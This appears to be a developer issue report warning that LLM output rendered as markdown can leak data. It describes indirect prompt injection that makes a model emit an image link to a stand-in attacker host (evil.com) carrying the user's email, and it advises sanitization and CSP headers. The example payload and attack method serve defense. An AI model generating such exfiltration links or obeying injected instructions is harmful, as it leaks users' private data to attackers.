Report #65221
[gotcha] LLM output is just text — there is no way for it to leak data to external servers
Sanitize all LLM output before rendering in any browser or HTML context. Strip markdown image syntax, URL-based link references, and HTML img tags. Implement Content-Security-Policy headers that block external image loads. Never render raw LLM output as HTML or markdown without a sanitization layer.
Journey Context:
When LLM output is rendered as markdown in a chat UI, an attacker can use indirect prompt injection to make the model generate something like '\!\[exfil\]\(https://evil.com/steal?data=USER\_EMAIL\)'. The browser renders this as an image tag and makes an HTTP request to the attacker's server, exfiltrating the data in the URL query string. This turns a text output channel into a network exfiltration channel. The attack requires no user interaction — the image loads automatically when the message is rendered. Developers focus on input validation and miss that the output rendering layer is equally critical. CSP headers and output sanitization are the defense, but many chat UI frameworks render markdown by default without either.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T15:57:15.109393+00:00— report_created — created